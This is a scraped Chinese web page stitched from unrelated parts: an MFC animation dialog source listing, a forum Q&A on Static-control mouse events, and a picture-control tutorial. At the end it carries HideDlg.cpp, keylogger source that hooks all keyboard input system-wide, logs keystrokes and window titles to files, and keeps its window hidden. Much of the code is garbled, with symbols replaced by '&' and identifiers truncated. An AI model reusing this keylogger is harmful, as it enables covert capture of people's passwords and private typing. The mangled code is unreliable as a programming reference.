&CMyStaticDlg::_Get...

>> 动画Dlg.cpp
动画Dlg.cpp ( 文件浏览 )
// 动画Dlg.cpp : implementation file
#include &stdafx.h&
#include &动画.h&
#include &动画Dlg.h&
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
class CAboutDlg : public CDialog
CAboutDlg();
// Dialog Data
AFX_DATA(CAboutDlg)
IDD = IDD_ABOUTBOX
// ClassWizard generated virtual function overrides
AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX);
// DDX/DDV support
}AFX_VIRTUAL
// Implementation
protected:
AFX_MSG(CAboutDlg)
DECLARE_MESSAGE_MAP()
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
AFX_DATA_INIT(CAboutDlg)
}AFX_DATA_INIT
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
CDialog::DoDataExchange(pDX);
AFX_DATA_MAP(CAboutDlg)
}AFX_DATA_MAP
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
AFX_MSG_MAP(CAboutDlg)
// No message handlers
}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CMyDlg dialog
CMyDlg::CMyDlg(CWnd* pParent /*=NULL*/)
: CDialog(CMyDlg::IDD, pParent)
point1=CPoint(120,350);
id[0]=IDB_
id[1]=IDB_
id[2]=IDB_
id[3]=IDB_
id[4]=IDB_
point=CPoint(100,220);
AFX_DATA_INIT(CMyDlg)
m_slidecounter = 30;
m_type = 0;
}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()-&LoadIcon(IDR_MAINFRAME);
void CMyDlg::DoDataExchange(CDataExchange* pDX)
CDialog::DoDataExchange(pDX);
AFX_DATA_MAP(CMyDlg)
DDX_Radio(pDX, IDC_sel1, m_type);
}AFX_DATA_MAP
BEGIN_MESSAGE_MAP(CMyDlg, CDialog)
AFX_MSG_MAP(CMyDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_WM_CTLCOLOR()
ON_WM_TIMER()
ON_BN_CLICKED(IDC_start, Onstart)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_sel1, OnRadio1)
ON_BN_CLICKED(IDC_RADIO2, OnRadio2)
ON_BN_CLICKED(IDC_RADIO3, OnRadio3)
ON_BN_CLICKED(IDC_RADIO4, OnRadio4)
ON_BN_CLICKED(IDC_RADIO5, OnRadio5)
}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CMyDlg message handlers
BOOL CMyDlg::OnInitDialog()
CDialog::OnInitDialog();
SetTimer(102,60,0);
memDC.CreateCompatibleDC(NULL);
pDC=new CDC;
pDC=GetDC();
for(int i=0;i&5;i++)
person[i].LoadBitmap(id[i]);
bmp.LoadBitmap(IDB_old);
button.LoadBitmap(IDB_button);
slide.LoadBitmap(IDB_slide);
bmp2.LoadBitmap(IDB_dog1);
bmpback.LoadBitmap(IDB_old2);
bmpback2.LoadBitmap(IDB_dog1back);
back.LoadBitmap(IDB_back);
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX & 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
CString strAboutM
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
pSysMenu-&AppendMenu(MF_SEPARATOR);
pSysMenu-&AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
// Set the icon for this dialog.
The framework does this automatically
when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE);
// Set big icon
SetIcon(m_hIcon, FALSE);
// Set small icon
// TODO: Add extra initialization here
return TRUE;
// return TRUE
unless you set the focus to a control
void CMyDlg::OnSysCommand(UINT nID, LPARAM lParam)
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
CAboutDlg dlgA
dlgAbout.DoModal();
CDialog::OnSysCommand(nID, lParam);
// If you add a minimize button to your dialog, you will need the code below
to draw the icon.
For MFC applications using the document/view model,
this is automatically done for you by the framework.
void CMyDlg::OnPaint()
CPaintDC dc(this);
if (IsIconic())
// device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
GetClientRect(&rect);
brush.CreatePatternBrush(&back);
dc.SelectObject(&brush);
dc.FillRect(&rect,&brush);
CDialog::OnPaint();
// The system calls this to obtain the cursor to display while the user drags
the minimized window.
HCURSOR CMyDlg::OnQueryDragIcon()
return (HCURSOR) m_hI
HBRUSH CMyDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
if(nCtlColor==CTLCOLOR_STATIC)
pDC-&SetBkMode(TRANSPARENT);
pDC-&SetTextColor(RGB(255,255,255));
B =::CreatePatternBrush(slide);
void CMyDlg::OnTimer(UINT nIDEvent)
UpdateData();
bmp.GetObject(sizeof(bm),&bm);
oldbitmap=memDC.SelectObject(&back);
pDC-&BitBlt(point1.x,point1.y,220,190,&memDC,point1.x,point1.y,SRCCOPY);
oldbitmap=memDC.SelectObject(&bmpback);
pDC-&BitBlt(point1.x,point1.y,bm.bmWidth,bm.bmHeight-10,&memDC,0,0,SRCAND);
oldbitmap=memDC.SelectObject(&bmp);
if(point1.x&500)
point1.x+=20;
point1.x=120;
point1.x=220;
point1.x=320;
pDC-&BitBlt(point1.x,point1.y,bm.bmWidth,bm.bmHeight-10,&memDC,0,0,SRCPAINT);
memDC.SelectObject(oldbitmap);
CDialog::OnTimer(nIDEvent);
void CMyDlg::Onstart()
timer=SetTimer();
void CMyDlg::OnClose()
KillTimer(timer);
delete pDC;
CDialog::OnClose();
void CMyDlg::OnRadio1()
void CMyDlg::OnRadio2()
void CMyDlg::OnRadio3()
void CMyDlg::show()
UpdateData();
point.x=200;
point.y=190;
oldbitmap=memDC.SelectObject(&back);
person[m_type].GetObject(sizeof(bm),&bm);
pDC-&BitBlt(point.x,point.y,220,190,&memDC,point.x,point.y,SRCCOPY);
oldbitmap=memDC.SelectObject(&person[m_type]);
switch(m_type){
for( j=0;j&=10;j++){
pDC-&BitBlt(point.x,point.y,j*20,180,&memDC,0,0,SRCCOPY);
Sleep(60);
for( j=0;j&=10;j++){
pDC-&BitBlt(point.x,point.y,170,j*19,&memDC,0,0,SRCCOPY);
Sleep(60);
for( j=0;j&=10;j++){
pDC-&BitBlt(point.x,point.y,j*20,j*19,&memDC,0,0,SRCCOPY);
Sleep(60);
for( j=0;j&=10;j++){
oldbitmap=memDC.SelectObject(&back);
person[m_type].GetObject(sizeof(bm),&bm);
pDC-&BitBlt(point.x,point.y,220,200,&memDC,point.x,point.y,SRCCOPY);
oldbitmap=memDC.SelectObject(&person[m_type]);
pDC-&BitBlt(point.x,point.y,220,160,&memDC,0,j*19,SRCCOPY);
Sleep(300);
oldbitmap=memDC.SelectObject(&person[m_type]);
pDC-&BitBlt(point.x,point.y,220,190,&memDC,0,0,SRCCOPY);
for( j=0;j&=10;j++){
oldbitmap=memDC.SelectObject(&back);
person[m_type].GetObject(sizeof(bm),&bm);
pDC-&BitBlt(point.x,point.y,220,200,&memDC,point.x,point.y,SRCCOPY);
oldbitmap=memDC.SelectObject(&person[m_type]);
pDC-&BitBlt(point.x,point.y,220,160,&memDC,0,j*19,SRCCOPY);
Sleep(300);
oldbitmap=memDC.SelectObject(&person[m_type]);
pDC-&BitBlt(point.x,point.y,220,190,&memDC,0,0,SRCCOPY);
memDC.SelectObject(oldbitmap);
void CMyDlg::OnRadio4()
void CMyDlg::OnRadio5()
展开> <收缩
下载源码到电脑,阅读使用更方便
还剩0行未阅读,继续阅读 ▼
Sponsored links
源码文件列表
温馨提示: 点击源码文件名可预览文件内容哦 ^_^
动画.plg1.54 kB17-03-04 18:03
6.22 kB24-12-02 14:54
动画.aps1.46 MB24-09-04 15:57
1.87 kB23-12-02 07:59
动画.dsp5.06 kB24-12-02 14:55
动画.clw1.19 kB05-10-04 10:51
3.45 kB20-12-02 21:14
1.25 kB20-12-02 21:14
1.97 kB20-12-02 21:14
1.59 kB23-12-02 07:52
7.61 kB23-12-02 08:00
1.03 kB20-12-02 21:14
206.00 B20-12-02 21:14
动画.dsw533.00 B20-12-02 21:14
动画.ncb81.00 kB05-10-04 10:51
动画.rc2396.00 B20-12-02 21:14
bitmap1.bmp884.23 kB24-12-02 14:49
slide.bmp1.23 kB22-12-02 21:43
text.bmp116.07 kB23-12-02 06:48
动画.ico1.05 kB21-12-02 16:53
you.bmp90.05 kB23-12-02 06:48
us.bmp105.52 kB23-12-02 06:48
me.bmp116.07 kB23-12-02 06:48
ZHUFU.bmp116.07 kB23-12-02 06:48
old2.bmp23.49 kB23-12-02 07:52
old.bmp23.49 kB23-12-02 07:52
Thumbs.db117.00 kB24-12-02 14:49
&res&0.00 B17-03-04 18:09
&Debug&0.00 B17-03-04 18:09
动画.opt47.50 kB05-10-04 10:51
&动画&0.00 B17-03-04 18:09
Sponsored links
评价成功,多谢!
CodeForge积分(原CF币)全新升级,功能更强大,使用更便捷,不仅可以用来下载海量源代码马上还可兑换精美小礼品了
您的积分不足
支付宝优惠套餐快速获取 30 积分
10积分 / ¥100
30积分 / ¥200原价 ¥300 元
100积分 / ¥500原价 ¥1000 元
订单支付完成后,积分将自动加入到您的账号。以下是优惠期的人民币价格,优惠期过后将恢复美元价格。
支付宝支付宝付款
微信钱包微信付款
更多付款方式:、
您本次下载所消耗的积分将转交上传作者。
同一源码,30天内重复下载,只扣除一次积分。
鲁ICP备号-3 runtime:Elapsed:76.036ms 27.69
登录 CodeForge
还没有CodeForge账号?
Switch to the English version?
^_^"呃 ...
Sorry!这位大神很神秘,未开通博客呢,请浏览一下其他的吧MFC怎么实现Static text控件上的MouseMove事件~代码哪里写错了(2) - VC/MFC当前位置:& &&&MFC怎么实现Static text控件上的MouseMove事件~代码MFC怎么实现Static text控件上的MouseMove事件~代码哪里写错了(2)&&网友分享于:&&浏览:29次
CPaintDC&dc(this);&//&用于绘制的设备上下文
SendMessage(WM_ICONERASEBKGND,&reinterpret_cast&WPARAM&(dc.GetSafeHdc()),&0);
//&使图标在工作区矩形中居中
int&cxIcon&=&GetSystemMetrics(SM_CXICON);
int&cyIcon&=&GetSystemMetrics(SM_CYICON);
GetClientRect(&rect);
int&x&=&(rect.Width()&-&cxIcon&+&1)&/&2;
int&y&=&(rect.Height()&-&cyIcon&+&1)&/&2;
//&绘制图标
dc.DrawIcon(x,&y,&m_hIcon);
CDialogEx::OnPaint();
//当用户拖动最小化窗口时系统调用此函数取得光标
HCURSOR&CMFC3Dlg::OnQueryDragIcon()
return&static_cast&HCURSOR&(m_hIcon);
//然后这里是鼠标移动实现的代码,大概应该是获得鼠标的坐标?
LRESULT&CMFC3Dlg::OnStaticMouseMove(WPARAM&wParam,&LPARAM&lParam)
//先得到当前鼠标坐标
GetCursorPos(&point);&
//然后得到static控件rect
::GetClientRect(GetDlgItem(IDC_S1)-&GetSafeHwnd(),&&rect);&
//然后把当前鼠标坐标转为相对于rect的坐标
::ScreenToClient(GetDlgItem(IDC_S1)-&GetSafeHwnd(),&&point);&
if(rect.PtInRect(point))&
CString&strP&
strPos.Format(L"%d:%d",&point.x,&point.y);&
//GetDlgItem(IDC_S2)-&SetWindowTextW(strPos);
MessageBox(strPos);
return&TRUE;
实在搞不定~~要奔溃了~~~求助啊~~~~IDC_S1,IDC_S2,IDS_3分别是我在工具栏拖的3个static&text控件~源代码也是三个Static&text控件的控件名~~因为我参考的代码只有代码啊~~米有布局的信息~我就猜测着用三个自己拖的控件并改代码里面的名字~~~
另外也求这方面的资料有木有~~本人刚入门MFC~~~
死皮赖脸求大神改代码时注释说明一下某些函数调用的意思~~我要学习这东西~~------解决方案--------------------把&CMyStatic&m_&改成&CMyStatic&*&m_pMyS
m_mystatic.SubclassDlgItem(IDC_S3,this);
m_pMyStatic&=&new&mystatic(this);
pMyStatic.Create(...);
析构函数加上
delete&m_pMyS
代码的参数可能不完全正确,查一下参考。------解决方案--------------------不要那么复杂,你的问题是&主对话框中&检测&控件的MOUSEMOVE,这个可以在对话框的BOOL&CxxxxDlg::PreTranslateMessage(MSG*&pMsg)&
如果是从&cstatic&派生CYourStatic&那么可以在CYourStatic的MOUSEMOVE
中处理------解决方案--------------------void&CMyStatic::OnMouseMove(UINT&nFlags,&CPoint&point)
&&&&//&TODO:&在此添加消息处理程序代码和/或调用默认值
&&&&if(this-&GetParent()&&&!=NULL)
&&&&&&&&GetParent()-&SendMessage(WM_STATICMOUSE);
&&&&CStatic::OnMouseMove(nFlags,&point);
这里与Parent已无关了,
你调用int&GetDlgCtrlID(&)&就知道&是哪个&Static&了&,然后&switch&就可以分开处理了------解决方案--------------------不要研究了,static控件屏蔽了所有用户输入的消息
The&CStatic&class&provides&the&functionality&of&a&Windows&static&control.&A&static&control&is&a&control&used&to&display&text,&to&draw&frames&or&lines&separating&other&controls,&or&to&display&icons.&A&static&control&doesn't&accept&user&input,&but&it&can&notify&its&parent&of&stylus&taps&if&it's&created&with&SS_NOTIFY&style.
------解决方案--------------------除非你子类化,改写其窗口过程------解决方案--------------------引用:Quote: 引用:
除非你子类化,改写其窗口过程
哪里有教程吗?我一步步去学习也可以~~~只要能做到~~谢谢了~~
就不会加个SS_NOTIFY吗?------解决方案--------------------“就不会加个SS_NOTIFY吗?”
通常&在&资源中&加上&,&一旦&派生&是&必须的,&否则&无&消息可言。 共&2&页:
12345678910
12345678910
12345678910 上一篇:下一篇:文章评论相关解决方案 12345678910 Copyright & &&版权所有MFC&picture控件中显示图片
PictureBox
控件的主要作用是为用户显示图片。实际显示图片由 Picture
属性决定。Picture属性包括被显示的图片的文件名(及可选的路径名)。
  注意 窗体对象也具有
Picture 属性,通过设置该属性可直接在窗体背景上显示图片。  要在运行时显示或替换图片,可利用函数 LoadPicture
来设置 Picture 属性。提供图片文件名和可选路径名,由 LoadPicture
函数处理加载和显示图片的细节。  picMain.Picture =
LoadPicture("VANGOGH.BMP")  PictureBox 控件具有
AutoSize 属性,当该属性设置为
True 时,PictureBox 能自动调整大小与显示的图片匹配。如果要用 AutoSize 属性设置为
PictureBox ,设计窗体时就需要特别小心。图片将不考虑窗体上的其它控件而调整大小,这可能导致意想不到的后果,如覆盖其它控件。设计时应通过加载每一幅图片来检查是否有这种现象发生。 
vc picture控件的分类进行拉总结,
(一) 非动态显示图片(即图片先通过资源管理器载入,有一个固定ID)
(二) 动态载入图片(即只需要在程序中指定图片的路径即可载入)
为方便说明,我们已经建好一个基于对话框的工程,名为Ttest.
对话框类为CTestDlg
(一) vc picture控件非动态载入图片.
方法1.先从最简单的开始,用picture 控件来实现.
先在资源里Import一张图片,ID为IDB_BITMAP2
然后在对话框上添加一个picture控件,右键点击打开属性,
将type下拉框选择BITMAP,
紧跟着Image下面就出现一个下拉框,
拉开就会看到所有已经载入好的图片,
选择你要的图片.运行程序即可看到.
方法2vc picture控件.通过背景图
同样如上,先载入一张图片,ID为IDB_BITMAP2
TestDlg.h中
CBrush m_brBk;//在public中定义
TestDlg.cpp中
在初始化函数OnInitDialog()中加入:
BOOL CTestDlg::OnInitDialog()
CDialog::OnInitDialog();
bmp.LoadBitmap(IDB_BITMAP2);
m_brBk.CreatePatternBrush(&bmp);
bmp.DeleteObject();
return TRUE; // return TRUE unless you set the focus to a
在打开类向导,找到WM_CTLCOLOR消息,重载得对应函数OnCtlColor(),添加如下:
HBRUSH CTestDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT
nCtlColor)
HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
if (pWnd == this)
return m_brBk;
(二) vc picture控件动态载入图片.
方法3 图像控件(本例用KoDak 图像编辑控件)
首先应该保证系统中有这个控件。注意,它不能单独使用,必须和其他几个控件(特别是Imgcmn.dll)一同使用。如果没有,从别的机器上copy过来即可。这几个文件是Imgadmin.ocx,Imgcmn.dll,Imgedit.ocx,Imgscan.ocx,Imgshl.dll,Imgthumb.ocx,Imgutil.dll,把它们copy到windows/system目录下,然后用regsvr32.exe将它们分别注册。
2. 打开工程,进入资源管理器,在对话框上单击右键,单击Insert Activex control…
选择Kodak图象编辑控件,大小任意。
3. 在对话框上选中该控件,为其添加变量:m_ctrlPicture。。
4. 在BOOL CTestDlg::OnInitDialog()添加如下:
BOOL CTestDlg::OnInitDialog()
CDialog::OnInitDialog();
m_ctrlPicture.SetImage("aa.jpg"); //保证图像在工程目录下,也可以写绝对路径
m_ctrlPicture.Display();
return TRUE; // return TRUE unless you set the focus to a
// EXCEPTION: OCX Property Pages should return FALSE
编译运行就OK了,此种方法的好处就是可能针对多种图像格式.
方法4 vc picture控件通过CBitmap,HBITMAP,直接用OnPaint()绘制
首先在CTestDlg类中声明一个变量: CBitmap m_
然后我们在对话框中加入一个picture 标签,名为IDC_STATIC1
BOOL CDisplayPic::OnInitDialog()
CDialog::OnInitDialog();
if( m_bmp.m_hObject != NULL )//判断
m_bmp.DeleteObject();
/////////载入图片
HBITMAP hbmp = (HBITMAP)::LoadImage(AfxGetInstanceHandle(),
"c://aaa.bmp", IMAGE_BITMAP, 0, 0,
LR_CREATEDIBSECTION|LR_LOADFROMFILE);
if( hbmp == NULL )
return FALSE;
///////////////////////该断程序用来取得加载的BMP的信息////////////////////////
m_bmp.Attach( hbmp );
DIBSECTION
BITMAPINFOHEADER &bminfo = ds.dsB
m_bmp.GetObject( sizeof(ds), &ds );
int cx=bminfo.biW //得到图像宽度
int cy=bminfo.biH //得到图像高度
/////////////////// ////////////////////////////////
/////////////得到了图像的宽度和高度后,我们就可以对图像大小进行适应,即调整控件的大小,让它正好显示一张图片///////////////////////////
GetDlgItem(IDC_STATIC1)-&GetWindowRect(&rect);
ScreenToClient(&rect);
GetDlgItem(IDC_STATIC1)-&MoveWindow(rect.left,rect.top,cx,cy,true);//调整大小
return TRUE; // return TRUE unless you set the focus to a
// EXCEPTION: OCX Property Pages should return FALSE
图片加载成功了,标签大小也适应了,下面就是绘制绘制图像了,打开类向导,重载WM_PAINT消息
void CDisplayPic::OnPaint()
//////////////以下三种情况任选一种会是不同效果(只能一种存在)///////////
//CPaintDC dc(this); //若用此句,得到的是对话框的DC,图片将被绘制在对话框上.
CPaintDC dc(GetDlgItem(IDC_STATIC1));
//用此句,得到picture控件的DC,图像将被绘制在控件上
// dc.m_hDC=::GetDC(NULL);
//若用此两句,得到的是屏幕的DC,图片将被绘制在屏幕上///////////////////////////////////////////////////////
GetDlgItem(IDC_STATIC1)-&GetClientRect(&rcclient);
memdc.CreateCompatibleDC(&dc);
bitmap.CreateCompatibleBitmap(&dc,
rcclient.Width(), rcclient.Height());
memdc.SelectObject( &bitmap );
CWnd::DefWindowProc(WM_PAINT, (WPARAM)memdc.m_hDC , 0);
maskdc.CreateCompatibleDC(&dc);
maskbitmap.CreateBitmap(rcclient.Width(), rcclient.Height(), 1,
maskdc.SelectObject( &maskbitmap );
maskdc.BitBlt( 0, 0, rcclient.Width(), rcclient.Height(),
rcclient.left, rcclient.top, SRCCOPY);
brush.CreatePatternBrush(&m_bmp);
dc.FillRect(rcclient, &brush);
dc.BitBlt(rcclient.left, rcclient.top, rcclient.Width(),
rcclient.Height(),
&memdc, rcclient.left,
rcclient.top,SRCPAINT);
brush.DeleteObject();
// Do not call CDialog::OnPaint() for painting messages
基于MFC控件STATIC显示图片数据
<font COLOR="#. 在 OnInitDialog
GetDlgItem(IDC_MY_PIC)-&ModifyStyle (
SS_TYPEMASK, SS_OWNERDRAW );
<font COLOR="#. 在butto
按钮中加入以下,可以显示多中类型的图片资源
CDlgpicDlg::OnTest()
// TODO: Add your
command handler code here
CFileDialog
fileDlg(TRUE,NULL,NULL,
OFN_ALLOWMULTISELECT,
_T("Picture Files
(*.bmp *.ico *.jpg)|**.*jpg|All Files
(*.*)|*.*||"),
AfxGetMainWnd());
if(fileDlg.DoModal ()==IDOK)
mPos=fileDlg.GetStartPosition();
while(mPos!=NULL)
pathName=fileDlg.GetNextPathName(mPos);
if(m_pict.LoadPicture(pathName.GetBuffer(pathName.GetLength())))
防止有透明图片,消除已有的图片信息
dc(this); // device context for painting
GetDlgItem(IDC_MY_PIC)-&GetWindowRect(&rc);
dc.FillSolidRect(rc, RGB(0, 0, 0));
Invalidate();
<font COLOR="#.给父窗口增加ON_WM_DRAWITEM消息映射函数 在OnDrawItem(int nIDCtl,
LPDRAWITEMSTRUCT lpDrawItemStruct)消息映射函数里面绘制控件
CDlgpicDlg::OnDrawItem(int nIDCtl, LPDRAWITEMSTRUCT
lpDrawItemStruct)
// TODO: Add your
message handler code here and/or call default
if(nIDCtl ==
IDC_MY_PIC)
m_pict.m_pic)
TRACE("--hell--
test---");
HWND hwnd =
::GetDlgItem(this-&GetSafeHwnd(),
IDC_MY_PIC);
::GetDC(::GetDlgItem(this-&GetSafeHwnd(),IDC_MY_PIC));
//Get the DC for
the CPicture Box
::GetClientRect(::GetDlgItem(this-&GetSafeHwnd(),
IDC_MY_PIC), &rect);
//Get dimensions
m_pict.DrawPicture(hDC, 0, 0, rect.right - rect.left
,rect.bottom - rect.top );
::ReleaseDC(::GetDlgItem(this-&GetSafeHwnd(),IDC_MY_PIC),
CDialog::OnDrawItem(nIDCtl, lpDrawItemStruct);
如果在static中需要显示图片,在ONPAINT 中绘画 没有效果,需要这么画:
<font COLOR="#)给static控件增加SS_OWNERDRAW属性
GetDlgItem(IDC_MY_PIC)-&ModifyStyle ( SS_TYPEMASK,
SS_OWNERDRAW );
<font COLOR="#)给父窗口增加ON_WM_DRAWITEM消息映射函数
<font COLOR="#)在OnDrawItem(int
nIDCtl, LPDRAWITEMSTRUCT lpDrawItemStruct)消息映射函数里面绘制控件
例如:下面给对话框里的IDC_STATIC_DRAW控件画个蓝色的背景
CMyDlg::OnDrawItem(int nIDCtl, LPDRAWITEMSTRUCT
lpDrawItemStruct)
if(nIDCtl ==
IDC_STATIC_DRAW)
CDC *pDC =
CDC::FromHandle(lpDrawItemStruct-&hDC);
pDC-&FillSolidRect(10, 10,
lpDrawItemStruct-&rcItem.right - 20,
lpDrawItemStruct-&rcItem.bottom - 20, RGB(0, 0,
CDialog::OnDrawItem(nIDCtl, lpDrawItemStruct);
另外,还可以这么画
从CStatic继承一个新类,然后增加WM_PAINT消息处理,在OnPaint里面画
class CMyStatic :
public CStatic
afx_msg void
OnPaint();
CMyStatic::OnPaint()
dc(this); // device context for painting
GetClientRect(rc);
dc.FillSolidRect(rc, RGB(0, 0, 255));
以上网友发言只代表其个人观点,不代表新浪网的观点或立场。>> HideDlg.cpp
HideDlg.cpp ( 文件浏览 )
////////////////////////////////////////////////////////////////
// Compiles with Visual C++ 6.0, runs on Windows 98 and probably
// NT too.
#include &stdafx.h&
#include &resource.h&
#include &statlink.h&
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
HHOOK g_hHook = NULL;
//全局钩子函数句柄
HWND g_hLastFocus = NULL;
//活动窗体句柄
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
SYSTEMTIME sysTm;
::GetLocalTime(&sysTm);
int m_nYear = sysTm.wY
int m_nMonth = sysTm.wM
int m_nDay = sysTm.wD
int m_hour=sysTm.wH
int m_minute=sysTm.wM
int m_second=sysTm.wS
char time[100];
char filename[200];
sprintf(time, &%d:%d:%d&,m_hour,m_minute,m_second);
sprintf(filename,&Key_%d_%d_%d.log&,m_nYear,m_nMonth,m_nDay);
if(nCode&0)
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
if(nCode==HC_ACTION)//HC_ACTION表明lParam指向一消息结构
EVENTMSG *pEvt=(EVENTMSG *)lP
if(pEvt-&message==WM_KEYDOWN)//判断是否是击键消息
char svBuffer[256];
int vKey,nS
vKey=LOBYTE(pEvt-&paramL);
nScan=HIBYTE(pEvt-&paramL);//扫描码
nScan&&=16;
//检查当前窗口焦点是否改变
HWND hFocus=::GetActiveWindow();
if(g_hLastFocus!=hFocus)
//保存窗口标题到文件中
char svTitle[256];
nCount=::GetWindowText(hFocus,svTitle,256);
if(nCount&0)
for(int i=nCount+1;i&20;i++)
svTitle[i]=time[i-nCount-1];
out=fopen(filename,&a+&);
fprintf(out,&\r\n-----活动窗口[%s]---时间是[%s]------\r\n&,svTitle,time);
fclose(out);
g_hLastFocus=hF
// Write out key
dwCount=GetKeyNameText(nScan,svBuffer,256);
if(dwCount)//如果所击键在虚拟键表之中
if(vKey==VK_SPACE)
svBuffer[0]=' ';
svBuffer[1]='\0';
dwCount=1;
if(dwCount==1)//如果是普通键则将其对应的ascii码存入文件
BYTE kbuf[256];
GetKeyboardState(kbuf);
chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
/*根据当前的扫描码和键盘信息,将一个虚拟键转换成ASCII字符*/
if(chcount&0)
out=fopen(filename,&a+&);
fprintf(out,&%c&,char(ch));
fclose(out);
else//如果是Ctrl、Alt之类则直接将其虚拟键名存入文件
out=fopen(filename,&a+&);
fprintf(out,&[%s]&,svBuffer);
fclose(out);
if(vKey==VK_RETURN)//回车
out=fopen(filename,&a+&);
fprintf(out,&\r\n&);
fclose(out);
return CallNextHookEx(g_hHook,nCode,wParam,lParam);
class CMainFrame : public CFrameWnd {
protected:
CString m_sClassN
virtual BOOL PreCreateWindow(CREATESTRUCT& cs);
CMainFrame() {
~CMainFrame()
if(g_hHook)
UnhookWindowsHookEx(g_hHook);
class CMyDlg : public CDialog {
CMyDlg(CWnd* pParent = NULL); // standard constructor
protected:
HICON m_hI
CStaticLink m_wndL
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
DECLARE_MESSAGE_MAP()
class CMyApp : public CWinApp {
virtual BOOL InitInstance();
DECLARE_MESSAGE_MAP()
//////////////////
// pre-create window: set WS_EX_TOOLWINDOW style
BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs)
// 设置 WS_EX_TOOLWINDOW 扩展式样
if (CFrameWnd::PreCreateWindow(cs)) {
cs.dwExStyle |= WS_EX_TOOLWINDOW;
return TRUE;
return FALSE;
// 不设置 WS_EX_TOOLWINDOW 扩展式样
return CFrameWnd::PreCreateWindow(cs);
BEGIN_MESSAGE_MAP(CMyApp, CWinApp)
ON_COMMAND(ID_HELP, CWinApp::OnHelp)
END_MESSAGE_MAP()
CMyApp::CMyApp()
CMyApp theA
//////////////////
// InitInstance: create dialog as child of invisible main frame
BOOL CMyApp::InitInstance()
CMainFrame* pFrame = new CMainF
m_pMainWnd = pF
pFrame-&LoadFrame(IDR_MAINFRAME, WS_OVERLAPPED, NULL, NULL);
CMyDlg dlg(pFrame);
int nResponse = dlg.DoModal();
if (nResponse == IDOK) {
} else if (nResponse == IDCANCEL) {
return FALSE;
class CAboutDlg : public CDialog {
CAboutDlg();
IDD = IDD_ABOUTBOX
// Implementation
protected:
AFX_MSG(CAboutDlg)
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
END_MESSAGE_MAP()
BOOL CAboutDlg::OnInitDialog()
CDialog::OnInitDialog();
return TRUE;
// return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
CMyDlg::CMyDlg(CWnd* pParent /*=NULL*/)
: CDialog(IDD_HIDEDLG, pParent)
g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),0);
m_hIcon = AfxGetApp()-&LoadIcon(IDR_MAINFRAME);
BEGIN_MESSAGE_MAP(CMyDlg, CDialog)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
END_MESSAGE_MAP()
BOOL CMyDlg::OnInitDialog()
CDialog::OnInitDialog();
去掉注释设置对话框的 WS_EX_APPWINDOW 扩展式样
// ModifyStyleEx(0,WS_EX_APPWINDOW);
MoveWindow(,1,TRUE);
// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX & 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
CString strAboutM
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty()) {
pSysMenu-&AppendMenu(MF_SEPARATOR);
pSysMenu-&AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
// Set the icon for this dialog.
The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE);
// Set big icon
SetIcon(m_hIcon, FALSE);
// Set small icon
return TRUE;
// return TRUE
unless you set the focus to a control
void CMyDlg::OnSysCommand(UINT nID, LPARAM lParam)
if ((nID & 0xFFF0) == IDM_ABOUTBOX) {
CAboutDlg dlgA
dlgAbout.DoModal();
CDialog::OnSysCommand(nID, lParam);
// If you add a minimize button to your dialog, you will need the code below
to draw the icon.
For MFC applications using the document/view model,
this is automatically done for you by the framework.
